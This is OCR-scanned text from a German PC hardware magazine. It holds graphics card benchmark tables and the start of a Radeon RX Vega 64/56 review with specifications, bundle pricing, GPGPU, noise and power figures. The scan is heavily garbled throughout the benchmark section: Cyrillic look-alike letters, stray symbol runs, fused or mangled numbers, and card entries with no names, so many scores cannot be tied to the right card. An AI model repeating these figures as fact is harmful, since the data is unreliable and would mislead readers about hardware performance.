Preis: Ca. 420 € (-50) 
PLV: 80,6 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 570 € (+30) 
PLV: 54,7 % 


Radeon 

R9 Fury X 

Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Nicht lieferbar 
РМ: – 


Radeon 

R9 390X 

Takt: 1.050 MHz, 6 GT/s 
RAM: 8 GiB GDDR5 


Preis: Nicht lieferbar 
РМ: – 


Мни | 00 9: 
ECHO 
[MU 
RN 10 
AOS:51/43/40 CW: 95/87/55 F1:112/97/68 MEC: 117/85/47 — TWW: 66/64/35 
ACS: 91/67/38 ОМО: 123/88/49  FO4:164/115/59  OW:247/168/88 ЕСК: 128/82/39 
Bl: 216/157/90 ` DM:200/176/89 FCP: 108/85/53 ROT: 111/81/46 — W3:137/97/54 
C3:128/83/42 — TES:245/224/140 GTA: 72/57134 TTP: 119/95/61 СОР:580 


Geforce 
GTX 980 


Takt: 1.216 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 420 € («0) 
PLV: 59,4 % 


Еа 


F1:112/95/64 
F04: 156/106/54 
FCP: 105/81/49 
GTA: 72/56/32 


МЕС: 115/81/44 TWW: 66/60/32 
0W:236/159/82 ЕСА: 118/75/36 
ROT: 104/74/42 W3:132/93/51 

ТТР: 113/90/57 СОР: 56,3 


А05: 48/42/38 
АСЅ: 90/65/37 
Bl: 207/147/84 
(3: 121/78/38 


CW: 95/83/51 
DMD: 119/84/46 
DM: 200/171/87 
TES: 237/214/130 


Radeon 
RX 580/8G 


Takt: 1.340 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 370 € (-50) 
PLV: 67 % 


=G——— 07 
=ú——s °. % 
=G=— a Ó % 
G F,wçq-o);% 
AOS: 47/41/37 — CW:95/8350 ` FI:110/94/64 МЕС: 114/81/44 — TWW: 66/60/32 
ACS: 89/63/36 ОМО: 117/83/45 — FO4:156/106/54  OW:229/157/81 ЕСА: 119/75/36 
BI: 204/145/83 ОМ: 200/169185 FCP: 103/80/48 ОТ: 102/73/41 — W3:130/92/50 
C3:121/78/89 — TES:237/213/129 GTA: 71/56/32 TTP: 112/89/56 COP: 56,4 


Geforce 
GTX 1060/6G 


Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 280 € (-10) 
PLV: 87 % 


НИ 
Рр 
ПЕД 
ЧД 
AOS: 44/35/33 СМ: 94/78/38 F1:100/84/54 МЕС: 98/68/36 
ACS: 79/54/29 ЮМО: 103/70/37  FO4:130/85/43 ОМ: 184/126/65 
BI: 170/121/63 ОМ: 193/134/67 FCP: 87/66/39 07: 85/59/32 
C3: 95/61/30 Е5:223/172/102 GTA: 63/47/25 ТТР: 88/69/43 


TWW: 64/47/25 
ECR: 95/59/28 
W3: 112/77/41 
COP: 53,2 


Radeon 
RX 480/8G 


Takt: 1.266 MHz, 7 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 350 € (Neu) 
PLV: 68 % 


[Ol Q 5 <= 
=6——“=sa 7 > % 
Fu; 
BN 676 5: 

AOS: 41/34/32 CW:81/6932 F1:88/86/55 МЕС: 86/60/32 
ACS:61/40/22 DMD: 104/71/37 РО4:117/68/35 — OW:168/113/57 
BI: 173/115/57 ` DM:200/148/73 FCP: 83/64/39 ROT: 77/55/31 


TWW: 61/41/21 
ECR: 72/46/22 
W3: 102/71/38 


Radeon 
R9 390 


Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


C3: 80/51/25 TES: 201/153/92 СТА: 53/40/21 ТТР: 85/66/41 СОР: 67,6 

rl [2 

г 57.5 % Radeon 
ER) RX 480/4G 
е ЕН Takt: 1.266 MHz, 8 GT/s 
AOS: 39/30/28 CW: 80/60/29 F1: 88/73/47 MEC: 75/53/29 TWW: 51/34/18 RAM: 4 GiB GDDR5 


ECR: 65/41/20 
W3: 87/60/32 


ACS: 54/36/20 
Bl: 160/102/51 


DMD: 88/60/31 
DM: 190/123/61 


FO4: 101/68/35 
FCP: 69/54/33 


OW: 148/100/52 
ROT: 63/45/26 


Preis: Nicht lieferbar 
РМ: – 


С3: 71/46/23 TES: 175/130/178 СТА: 46/34/18 ТТР: 72/56/34 СОР: 63,6 

x s с: 

mW“ 00 Radeon 
ER RX 570/4G 
6www—s Takt: 1.245 MHz, 7 GT/s 
A0S: 38/30/28 CW: 94/63/30 F1: 83/68/43 MEC: 79/53/28 TWW: 56/37/20 RAM: 4 GiB GDDR5 


ACS: 64/44/24 
Bl: 143/98/49 


ECR: 76/47/22 
W3: 89/60/32 


DMD: 82/55/29 
DM: 161/104/52 


F04: 106/69/35 
FCP: 69/52/31 


OW: 151/99/52 
ROT: 64/45/25 


Preis: Ca. 280 € (+0) 


Д 0 
C3: 77149124 TES: 197/144/84 СТА: 53/38/20 ТТР: 69/54/34 СОР: 44,9 PIN 739% 
PN 60 5; 
I с: Набави 
ТН s1.1 % R9 290 
EEE A Takt: 947 MHz, 5 GTIs 
А05: 32/24/23 CW: 92/58/28 F1: 76/63/40 МЕС: 70/48/20 TWW: 53/36/19 RAM: 4 GiB GDDR5 


ACS: 54/39/21 
Bl: 145/100/51 


ECR: 72/45/21 
W3: 80/55/30 


DMD: 76/52/28 
DM: 148/95/46 


F04: 99/67/34 
FCP: 61/47/29 


OW: 141/93/48 
ROT: 60/43/23 


Preis: Nicht lieferbar 
РМ: – 


C3: 74/47/23 TES: 177/130/77 СТА: 46/34/19 TTP: 66/52/32 COP: 39,9 
D 77 5; 

C Gerora 
EE 54,6 % GTX 1060/3G 
ws Takt: 1.709 MHz, 8 GT/s 
AOS: 33/27/25 CW: 83/59/30 F1: 71/61/41 МЕС: 34/24/17 TWW: 43/3177 RAM: 3 GiB GDDR5 


ACS: 48/34/12 
Bl: 152/102/53 


DMD: 73/50/24 
DM: 181/120/59 


F04: 81/56/29 
FCP: 58/48/31 


OW: 136/95/50 
ROT: 51/38/22 


ECR: 58/39/19 
W3: 74/54/30 


Preis: Ca. 210 € (-30) 


Д [7 
C3: 714724 TES: 136/106/67 СТА: 42/32/16 ТТР: 68/55/35 СОР: 61,7 PI 1006 
Гг ши 
р а 
Г Чеш GTX 970 
KG Takt: 1.205 MHz, 6,6 GT/s 
A0S: 29/23/22 CW: 78/51/25 Р1: 61/51/34 МЕС: 50/35/19 TWW: 33/24/13 RAM: 8 GiB GDDR5 


ACS: 39/27/15 
Bl: 124/80/40 
C3: 58/38/19 


ECR: 46/31/15 
W3: 54/38/21 
COP: 56,0 


DMD: 62/42/22 
DM: 135/88/44 
TES: 121/94/59 


F04: 66/45/23 
FCP: 50/40/26 
GTA: 37/28/15 


OW: 99/68/34 
ROT: 44/33/19 
TTP: 68/53/31 


Preis: Ca. 280 € (+70) 
РІМ: 73,1 96 


x 2, 


wr. 
с т. 
AOS: 28/22/20 CW: 77/46/22 F1: 66/53/34 
ACS: 48/32/14 DMD: 63/43/21 РО: 83/54/27 
BI: 123/80/39 ОМ: 128/81/39 FCP: 50/39/23 


MEC: 35/27/13 
OW: 115/76/39 
ROT: 38/22/13 


TWW: 45/30/15 


ECR: 58/36/17 
W3: 67/45/24 


C3:60/37/18 ТЕ5:146/106/61 СТА: 40/29/15 TTP: 53/41/25 СОР:31,6 
г _ шш: 

ЕЕ и 
wasa 

G A. 

AOS: 28/22/21  CW:67141/20 — Fl:67/5434 — MEC:553809 — TWW:36/24/13 
ACS: 42/28/15 ОМО: 65/44/22 РО4: 67/43/20 OW:1097337 ЕСА: 47/29/14 
Bl: 116/73/35 ОМ: 156/98/47 РСР: 48/38/23 07: 46/33/19 W3: 64/44/24 
С3:53/33/16 TES:128/92/54 — GTA;35/25/13 ТТР: 49/39/24 COP:482 


==—— % 


=s 
ws. 
N o 

AOS: 29/22/21 CW: 74/45/21 F1: 60/48/30 
ACS: 4713215 DMD: 58/39/20 FO4: 75/49/25 
BI: 113/72/36 DM: 117/74/36 FCP: 49/37/21 
C3: 56/35/17 TES: 146/103/59 СТА: 40/28/15 


MEC: 56/37/15 
OW: 105/69/35 
ROT: 43/31/17 
TTP: 49/38/24 


TWW: 41/27/14 


ECR: 53/33/15 
W3: 61/41/22 
COP: 34,8 


ши 


Gss 
K—— 42,6 % 
kw 

AOS: 28/22/21 CW: 65/41/20 Е1: 63/52/33 
ACS: 41/2714 DMD: 61/41/20 Е04:65/41/20 
ВІ: 111/70/34 DM: 145/91/44 ЕСР: 46/36/22 
(3: 51/32/15 TES:118/87/51 СТА: 35/25/13 


МЕС: 53/36/19 
OW: 102/69/35 
ROT: 44/31/18 
ТТР: 47/37/23 


TWW: 35/24/13 


ЕСА: 44/28/13 
W3: 60/41/22 
СОР: 46,3 


ннн > / % 


Е 
m 
UU — 006 

AOS: 27/22/21 CW: 74/48/23 F1:55/46/30 
ACS: 35/25/14 DMD: 58/40/21 — FO4: 63/43/22 
BI: 114/73/37 ОМ: 124/80/40 FCP: 46/37/23 
C3:54/36/18 ТЕ5:111/85/53 GTA: 34/26/14 


MEC: 47/32/18 
OW: 93/64/33 
ROT: 40/30/17 
TTP: 52/42/26 


TWW: 29/21/12 


ECR: 43/29/14 
W3: 48/33/18 
COP: 54,8 


г шша 


Gw———sk 
ПЕ 
GG=— si 35,3 % 


A05: 28/21/20 CW: 62/40/19 F1: 62/51/32 

ACS: 3924/12 DMD: 58/39/18 — F04:63/40/19 
Bl: 108/68/33 DM: 143/90/43 FCP: 45/35/21 
C3: 49/31/14 TES: 117/85/50 СТА: 34/24/12 


MEC: 30/22/14 
OW: 101/67/34 
ROT: 42/30/17 
TTP: 46/36/23 


TWW: 34/23/7 
ECR: 43/27/13 
W3: 59/40/21 
COP: 46,3 


ВКД 


wasa. % 
=s 55 
Gw 
AOS: 26/2019 СМ: 60/37/18 
ACS:38259 — DMD: 56/37/18 

BI: 103/65/31. DM: 134/83/40 

C3: 47/13014 TES: 114/81/48 


F1: 60/49/30 

F04: 61/39/18 
FCP: 42/33/20 
GTA: 33/23/12 


MEC: 29/20/12 
OW: 94/63/32 
ROT: 39/28/15 
TTP: 44/34/21 


TWW: 31/21/7 
ECR: 42/26/13 
W3: 55/37/20 
COP: 40,5 


D ME 


D “16 % 
ШЕТ 
Kwa 34.7 % 
AOS: 25/2019 — CW:69/43/22 

ACS: 33/21/11 DMD: 52/36/17 

BI: 106/68/34 ОМ: 114/74/36 

C3: 50/33/16 TES: 103/79/49 


F1: 51/42/27 
F04: 57/39/20 
РСР: 42/34/22 
СТА: 32/23/8 


МЕС: 28/20/11 
0W: 85/57/29 
ROT: 38/28/16 
TTP: 48/38/24 


TWW: 27/20/11 
ECR: 40/26/13 
W3: 45/32/17 
СОР: 48,9 


гг 205 o 


a “57 % 
[i 
p 12 06 
AOS:28/]1/14 CW: 70/43/20 
ACS: 451285 — DMD:51/32/15 
BI: 108/68/34 ОМ: 105/69/26 
C3: 53/33/16 TES: 134/96/54 


F1: 57/46/28 
F04: 70/45/23 
FCP: 46/34/20 
СТА: 38/27/6 


МЕС: 31/20/9 
OW: 96/63/32 
ROT: 21/15/9 

ТТР: 46/36/22 


TWW: 37/15/6 
ЕСА: 50/30/13 
W3: 57/39/20 
СОР: 31,0 


= 


sa; 
[HB 
Ul 32,5 % 
AOS:24/18/17 CW: 64/38/18 
ACS: 40/26/11 ` DMD:51/34/17 
BI: 106/67/33. DM: 106/66/32 
C3: 50/31/15 TES: 122/88/50 


F1: 56/45/25 
F04: 68/45/22 
FCP: 43/31/17 
GTA: 34/24/7 


MEC: 31/23/11 
OW: 90/60/31 
ROT: 33/22/13 
TTP: 43/34/21 


TWW: 38/25/11 
ECR: 43/26/12 
W3:54/37/19 
COP: 28,5 


Spiele-/Anwendungsnamen: Ashes o 


System: Core i7-6800K @ 4,4 GHz (nga 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64; anisotroper Texturfilter konsequent auf „Hohe Qualität“ (HQ-AF); Vsync aus 

the Singularity (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankind Divided (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer (TWW), The Elder Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECH), The Witcher 3 (W3), Capture One Pro (COP). Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). Wichtig: Die Anwendungsleistung fließt (nur) in den blauen Gesamt-Index ein. 
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| GRAFIKKARTEN | Radeon RX Vega 


Vega für Spieler 


Mit der Radeon RX Vega 64 und RX Vega 56 meldet sich AMD 
zurück in der Oberklasse und Nvidias Geforce GTX 1070 und 
1080 bekommen endlich Konkurrenz. Ob sich das lange Warten 


auf Vega gelohnt hat, klären wir im Test. e 


-— 


MD beherrschte die Schlagzei- 

en unzähliger IT-Websites im 
August. Die High-End-Prozessor- 
plattform Threadripper (siehe Sei- 
te 8 ff.) hatte zwar Anteil daran, die 
Vega-Grafikkarten schlugen jedoch 
ungleich grófsere Wellen. Bedauer- 
licherweise handelte es sich dabei 
nicht um Begeisterungsstürme ob 
der hohen Leistung, sondern vor 
allem um Diskussionen über ver- 
passte Chancen. 


f:actattan- РУ V 
Gestatten: RX Ve 


Doch der Reihe nach. Mitte August 
entließ AMD seinen Vega-Chip end- 
lich in den Massenmarkt, nachdem 
der Hersteller zuvor, mit der Ra- 
deon Vega Frontier Edition, einen 
hochpreisigen Vorstoß wagte. Wir 
haben diese Grafikkarte in der ver- 
gangenen Ausgabe ausführlich ge- 
testet und den Artikel zur Nachlese 
auf die aktuelle DVD gepackt. 
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Am 14. August fiel der offizielle 
Startschuss für die Radeon RX Vega 
64 und RX Vega 56, die ersten of- 
fiziell an Spieler gerichteten Vega- 
Grafikkarten. Tatsächlich erhältlich 
war jedoch nur die Vega 64 in ver- 
schiedenen Varianten, die Vega 56 
startete offiziell am 28. August und 
somit kurz nach Redaktionsschluss 
dieser Ausgabe. Doch keine Sorge, 
wir haben vorab ein Muster erhal- 
ten und können Sie daher umfas- 


PDF auf Heft-DVD 


send über die Qualitäten des klei- 
nen „Veganers“ informieren. Die 
Vega-Grafikkarten sind AMDs lange 
erwartete Antwort auf die Geforce 
GTX 1080 und GTX 1070. Wer auf 
Herausforderer der GTX 1080 Ti 
oder gar Titan Xp gehofft hatte, 
wird enttäuscht. Das gilt erst recht 
für alle, die gewartet haben, denn 
AMD machte der Öffentlichkeit 
erstmals im Dezember 2016 mit 
Benchmarks den Mund wässrig. 


и 
AMDs Grenzgänger 


Auf dem Datentráger 
der DVD-Heftver- 
sion finden Sie den 
kompletten Test der 
Radeon Vega Frontier Edi- 

tion aus der PCGH 09/2017. Er ergänzt 
den neuen Test um einige Betrachtungen 
und erlaubt interessante Quervergleiche. 


Ein helles Kerlchen 

Das Vega-Projekt dürfte das bislang 
ambitionierteste der noch rela- 
tiv jungen Radeon Technologies 
Group (RTG) sein. Seine Schöpfer 
sprechen von der größten Archi- 
tekturveränderung seit dem ers- 
ten Graphics Core Next, besser 
bekannt als Radeon HD 7970. Der 
Name Vega suggeriert eine klare 
Zielsetzung: Grafikchip 
ist die Krone der Schöpfung, das 
Topmodell der neuen Generation. 
Denn hinter Wega, wie er hierzu- 
lande heißt, steckt der Hauptstern 
des Sternbildes Leier; er ist der 
hellste Stern des Nordhimmels. 


Dieser 


Der 486 Quadratmillimeter große 
Vega-10-Chip - so die mittlerweile 
offizielle Angabe AMDs - beher- 
bergt im Vollausbau 4.096 Shader- 
ALUs und somit genauso viele Re- 
chenwerke wie sein Vorgänger Fiji, 
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Tessellation: AMD-GPUs unter sich 


Sub D11 (mod) aus DX-SDK Juni 2010, 1.920 x 1.057 Vollbild-Fenster, kein AA/AF 
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System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB Corsair DDR4-3000; Windows 10 x64, Radeon Software 
17.8.1 WHQL (HD 5870/6970: 16.2.1 Beta), HQ-AF Bemerkungen: Die Vega 64 bearbeitet den Untertei- 
lungsfaktor etwa 40 Mal so schnell wie die erste GPU mit dieser Fähigkeit (HD 5870). 


Tessellation #2: Vega mit Fortschritten 


Sub D11 (mod) aus DX-SDK Juni 2010, 1.920 x 1.057 Vollbild-Fenster, kein AA/AF 
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System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB Corsair DDR4-3000; Windows 10 x64, Radeon Software 
17.8.1 WHQL, Geforce 385.28 WHQL, HQ-AF Bemerkungen: Die Tessellationsleistung der Vega-10-Chips 
rangiert relativ genau zwischen der Fury X und den GP104-Karten (u. a. GTX 1070). 


Die Radeon Packs und das Preis-Wirrwarr 


Radeon Packs: Kaufen Sie eine Radeon RX Vega und Sie erhalten zwei ist damit schwer zu rechtfertigen, sofern die Rabatte ungenutzt bleiben. Wer kein 
Spiele sowie Rabatt auf Ryzen-CPUs und -Mainboards. Sie wollen nur die Radeon Pack und somit einfach die besten Preise haben möchte, der hatte es im Au- 
RX Vega? Das geht auch - mit Einschränkungen. gust schwer, denn Einzelkarten waren rasch ausverkauft. Die schlechte Liefersituation 
trieb die Preise nach oben — rund 650 Euro wurden im August für eine Vega 64 fällig, 
Bereits vor dem RX-Vega-Launch wurde bekannt, dass AMD seine neuen Grafikkarten obwohl die UVP für die Packs 609 und die der Einzelkarten 499 Euro beträgt. AMD 
auch im Rahmen sogenannter Radeon Packs anbieten wird. Dahinter steckt die Idee, versprach auf Nachfrage die baldige Rückkehr der Einzelkarten für rund 500 Euro. 
Aufrüstwilligen nicht nur eine neue Gaming-Grafikkarte, sondern beinahe einen Spätestens im September, wenn neben den Vega-56-Referenzkarten (ab 405 Euro) die 
ganzen PC aus einer Hand zu verkaufen. Das ist naheliegend, denn nach jahrelanger ersten Partnerversionen der Vega 64 erhältlich sind, könnte sich die Lage entspannen 
Durststrecke bietet AMD wieder konkurrenzfähige Prozessoren und Grafikkarten und die Auswahl vergrößern. Alle Informationen zu den Radeon-Packs finden Sie 
gleichzeitig an. Zu diesem Zweck hat der Hersteller spezielle Versionen der Radeon unterdessen bei AMD: https://gaming.radeon.com/en/rxvega/#radeonTM-packs. 
RX Vega 64 aufgelegt, welche nicht einzeln erhältlich sind: Die Limited Edition und 
die Liquid-Cooled Edition. Erstere gleicht der normalen Variante in Sachen Leistung, 
tauscht die schwarze Verkleidung jedoch gegen eine aus eloxiertem Aluminium 
inklusive eines leuchtenden „R Cubes”. Die Liquid Edition ist eigenständig und die 
mächtigste Vega-Grafikkarte: Dank ihrer All-in-one-Wasserkühlung im Stile der Fury X - 
spezifiziert sie AMD mit den höchsten Taktraten (und dem größten Energiebedarf). pm 


СЕТ A RADEON PACK WITH THE PURCHASE OF SELECT RADEON" RX VEGA GPUS. 


So attraktiv die Spezialversionen auch aussehen, die Radeon Packs haben ihr Ziel 
zumindest hierzulande verfehlt. Das liegt auch daran, dass deutschsprachige Käufer 
nicht in den Genuss des anstehenden Shooter-Hits Wolfenstein 2 kommen, sondern The words most advanced, forward-looking gaming GPU оо 
sich mit Prey und Sniper Elite 4 zufrieden geben müssen. Beide Titel sind gut bewer- 

tet, allerdings haben sie bereits einige Monate auf dem Buckel und waren zwischen- 

zeitlich für 20 bis 30 Euro erhältlich. Der Aufpreis von 100 Euro für ein Radeon Pack 


RADEON BLACK PACK RADEON AQUA PACK 


Radeon” RX Vega " Air Cooled GPU Radeon” RX Voga “Liquid Cooled GPU 
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Technische Daten: Radeon RX Vega im Vergleich 


Grafikkarte Radeon RX Radeon RX Radeon RX Radeon Vega | Radeon R9 Titan Xp Geforce GTX | Geforce GTX | Geforce GTX 
Vega 64 Liquid Vega 64 Vega 56 Frontier Edition Fury X 1080 Ti 1080 1070 

Codename Vega 10 XTXA1 | Vega 10 XTA1 | Vega 10XLA1 | Vega 10 XTA1 Fiji XT GP102-450 -A1 | GP102-350-K1-A1 | GP104-400-A1 | GP104-300-A1 
Kühlsystem AiO-Wakü DHE-Luftkühler | DHE-Luftkühler | DHE-Luftkühler AiO-Wakü DHE-Luftkühler | DHE-Luftkühler | DHE-Luftkühler | DHE-Luftkühler 
Fertigungsverfahren 14LPP (FinFET) | 14LPP (FinFET) | 14LPP (FinFET) | 14LPP (FinFET) 28 nm 16 nm (FinFET) | 16 nm (FinFET) | 16 пт (FinFET) | 16 nm (FinFET) 
Direct-X-12-Feature-Level 12.1 12 3] ЩЙ | 12_1 12_0 12_1 12_1 12_1 12_1 
Chipgröße (reiner Die) 486 mm? 486 mm? 486 mm? 486 mm? 596 mm? 471 тт? 471 тт? 314 mm? 314 mm? 
Transistoren Grafikchip (Mio.) 12.500 12.500 12.500 12.500 8.900 12.000 12.000 7.200 7.200 
Shader-/SIMD-/Textureinheiten | 4.096/64/256 4.096/64/256 3.584/64/224 4.096/64/256 4.096/64/256 | 3.840/30/240 3.584/28/224 2.560/20/160 | 1.920/15/120 
Raster-Endstufen (ROPs 64 64 64 64 64 96 88 64 64 
GPU-Basistakt (Megahertz) 1.406 1.247 1.156 Unbekannt Unbekannt 1.480 1.480 1.607 1.506 
Typischer GPU-Boost (MHz) 1.677 1.546 1471 1.382 1.050 1.582 1.582 1.733 1.683 
Maximaler GPU-Boost (MHz) 1.750 1.630 1.590 1.600 1.050 -1.900 ** -1.900 ** -1.900 ** -1.900 ** 
Rechenleist. SP/DP (Mio./s) * 13.738/859 12.665/792 10.544/659 11.321/708 8.602/538 12.150/380 11.340/354 8.873/277 6.463/202 
Durchsatz Pixel/Texel (Mrd./s) * | 107,3/429,3 98,9/395,8 94,1/329,5 88,4/353,8 67,2/268,8 151,9/379,7 141,7/354,1 110,9/277,3 101,0/202,0 
Speicheranbindung (Bit) 2.048 2.048 2.048 2.048 4.096 384 352 256 256 
Geschw. Grafikspeicher (GT/s) 1,89 1,89 1,6 1,89 1,0 11,4 11,0 10,0 8,0 
Speichertyp HBM gen2 HBM gen2 HBM gen2 HBM gen2 HBM gen! GDDR5X GDDR5X GDDR5X GDDR5 
Speicherübertragung (GB/s) 483,8 483,8 409,6 483,8 512,0 547,6 484,0 320,0 256,0 
Übliche Speichermenge (MiB) 8.192 8.192 8.192 16.384 4.096 12.288 11.264 8.192 8.192 
PCI-Express-Stromanschlüsse 2 x 8-polig 2 x 8-polig 2 x 8-polig 2 x 8-polig 2 x 8-polig | je 1 x 6-/8-pol. | je 1 x 6-/8-polig 1 x 8-polig 1 x 8-polig 
Typische Leistungsaufnahme «345 Watt «295 Watt «210 Watt «300 Watt 275 Watt «250 Watt «250 Watt «180 Watt «150 Watt 
Bemerkungen: *Anhand des typischen Boosts ** Von Grafikkarte zu Grafikkarte unterschiedlich, aber stets auf diesem Niveau (wird bei «40 °C GPU-Temp. und nicht vorhandenem Powerlimit gesetzt) 


GPGPU-Test AIDA64 


Mem Copy | Single-Precision | Double Precision | INT24 INT32 INT64 | AES-256 | SHA-1 Hash | SP-Julia | DP Mandel 
(MB/s) (GFLOPS) (GFLOPS) (GIOPS) | (GIOPS) | (GIOPS) | (MB/s) (MB/s) (Fps) (Fps) 

Durchschnitt aus drei Testláufen 

RX Vega 64 OC @ 1,70/1,10 GHz 435.741 13.892 868,8 13.709 255 724,6 72.419 kein Wert 2.138 69,7 
RX Vega 56 OC @ 1,70/0,95 GHz 382.121 12.090 1558 11.866 2.399 630,9 61.822 kein Wert 1.775 146,3 
Radeon RX Vega 64 (Air) 377.191 13.290 831,8 12.695 2.622 689,8 66.82 kein Wert 1.945 62,1 
Radeon RX Vega 56 324.123 10.771 689,4 10.286 2.142 562,1 54.505 kein Wert 1.496 38,5 
Radeon R9 Fury X 315.714 8.555 5375 8.456 1710) 429,9 45.750 100.029 1.273 96,0 
Radeon RX 580 189.823 6.147 384,2 6.143 1.229 307,3 32.774 73.398 932,9 12,2 
Radeon R9 390X 280.453 5.591 738,4 5.595 1.809 450,7 29.174 66.622 819,0 01,0 
Radeon HD 7970 GHz Edition 184.819 4.255 1062,3 4.252 851 212,8 22.680 29.154 661,9 95,1 
Geforce GTX 1080 Ti 336.868 12.441 405,2 4.350 4.311 702,5 34.937 55.886 2.472 34,3 
itan X (Pascal) 335.142 12.391 404,7 4.279 4.248 694,5 34.014 57.641 2.392 27,4 
Geforce GTX 1080 272.706 8.865 294,8 3.112 3.100 504,5 24.93 46.065 1.769 95,3 
Geforce GTX 1070 197.312 6.695 222,2 2.335 2.332 379,8 18.814 36.532 1.333 72,0 
Geforce GTX Titan X 245.529 6.715 2155 2.259 2.224 378,4 18.508 48.793 1.270 71,0 
Geforce GTX 980 Ti 244.007 6.341 202,8 2.109 2.098 358,7 17.207 45.828 1.199 66,1 
Geforce GTX 980 159.046 4.932 158,5 1.569 1.657 279,7 13.516 35.682 937,2 52,2 
Geforce GTX 970 139.264 3.754 120,0 1.252 1.250 214,9 10.222 25.920 710,1 39,6 
Geforce GTX 780 Ti 260.080 4.292 243,1 973 973 239,4 10.773 13.976 901,0 79,0 
System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1703), Radeon Software 17.8.1 
Bemerkungen: Theoretische Leistungsmessungen unter Open CL. Die Vega 56 erreicht erwartungsgemäß mit gleichem Speichertakt die Transferrate der Vega 64. 


Radeon RX Vega: Lautheit und Leistungsaufnahme 


Radeon RX Radeon RX Radeon Vega Radeon R9 Geforce Geforce Geforce Geforce 

Vega 64 Air Vega 56 Frontier Edition Fury X GTX 1080 Ti GTX 1080 GTX 1070 GTX 980 Ti 
Lautheit 
Leerlauf (Desktop) 0,2 Sone 0,2 Sone 0,0 bis 0,1 Sone 1,3 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 
2 LCDs (UHD 4- FHD) 0,2 Sone 0,2 Sone 0,1 Sone 1,3 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 
UHD-Youtube-Video 0,2 Sone 0,2 Sone 0,2 Sone 1,3 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 
Crysis 3 (Full HD) 4,9 Sone 4,9 Sone 3,6 Sone 1,4 Sone 2,8 Sone 3,1 Sone 2,7 Sone - 
Anno 2070 (Ultra HD) 4,9 Sone 4,9 бопе 3,6 Sone 1,6 Sone 4,0 Sone 3,2 5опе 2,9 Sone 4,5 бопе 
Leistungsaufnahme 
Leerlauf (Desktop) 14,5 Watt 15 Watt 17 Watt 21 Watt 12,5 Watt 9,5 Watt 8,5 Watt 15 Watt 
2 LCDs (UHD + FHD) 15 Watt 15,5 Watt 22 Watt 25 Watt 15 Watt 11,5 Watt 11,5 Watt 20 Watt 
UHD-Youtube-Video 26 Watt 26 Watt 26 Watt 55 Watt 19 Watt 12 Watt 12 Watt 21 Watt 
Crysis 3 (Full HD) 288 Watt 216 Watt 252 Watt 250 Watt 225 Watt 175 Watt 149 Watt 230 Watt 
Anno 2070 (Ultra HD) 289 Watt 216 Watt 259 Watt 313 Watt 230 Watt 171 Watt 148 Watt 234 Watt 
Bermerkungen: Jeweils gerundete Werte. Bei allen Karten gelten die Standardeinstellungen bezüglich Powertarget (Nvidia) und Powertune-Limit (AMD). Ausschließlich Referenzdesigns. 
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lässt sich dank der Auslegung auf 
kurze Signalwege und moderner 
FinFET-Fertigung jedoch wesent- 
lich höher takten. 


Wir widmen der Vega-Architektur 
eine große Abhandlung am Ende 
dieses Artikels, hier erfahren Sie 
weitere Details zu einzelnen Funk- 
tionsgruppen. An dieser Stelle soll 
es zunächst um die konkreten Vega- 
Produkte gehen. 


Vier Modelle im August 
AMD führt drei unterschiedliche 
Versionen der Radeon RX Vega 
64: die Liquid Cooled Edition, die 
Limited Edition und die Black Edi- 
tion. Nur die Erstgenannte kann 
auf eine All-in-one-Flüssigkühlung 
zurückgreifen. Sie erlaubt es AMD, 
dieser Variante die höchsten Takt- 
raten und Powerlimits auf dem 
Weg zu geben. So verfügt die LCE 
als einziges Modell über einen 
Maximalboost von 1.750 MHz. 
Die Grafikkarte arbeitet mit einer 
Board Power von stattlichen 345 
Watt, welche notwendig ist, um 
den Boost auch in fordernden Si- 
tuationen weit oben zu halten. Der 
starke Kühler sorgt dafür, dass die 
Abwärme dabei keinen Limitfaktor 
darstellt. 


Die „Air”-Versionen haben genau 
dieses Problem: Mit einem kon- 
ventionellen Luftkühler ist eine 
Abwärme von 345 Watt kaum zu 
bändigen. AMD spezifiziert die 
Vega 64 Air daher mit einer Board 
Power von 295 Watt. Was Taktraten 
und Power-Budget angeht, sind die 
nur innerhalb der ,Radeon Packs* 
erhältliche Vega 64 Limited und die 
auch einzeln verfügbare Vega 64 
Black identisch, der mittlere Boost 
beträgt laut AMD 1.546 MHz. Die 
Unterschiede betreffen die Kühler- 
haube: Die Limited Edition punktet 
mit einem edlen Antlitz aus gebürs- 
tetem Aluminium, während die 
Black optisch an das Referenzde- 
sign der Radeon RX 480 erinnert, 
allerdings mehr Metall auffährt. 


Eine Leistungs- und Preisstufe 
darunter residiert das ,Vernunft- 
produkt*: die Radeon RX Vega 56. 
Basierend auf dem Black-Design 
hinsichtlich Platine und Kühlung, 
wird sie mit geringeren Frequen- 
zen und einem deutlich gesenkten 
Powerlimit spezifiziert. Ihre Board 
Power beträgt moderate 210 Watt, 
der mittlere Boost 1.471 MHz. Wei- 
terhin muss sie auf acht ihrer 64 
Compute Units verzichten, was zu 
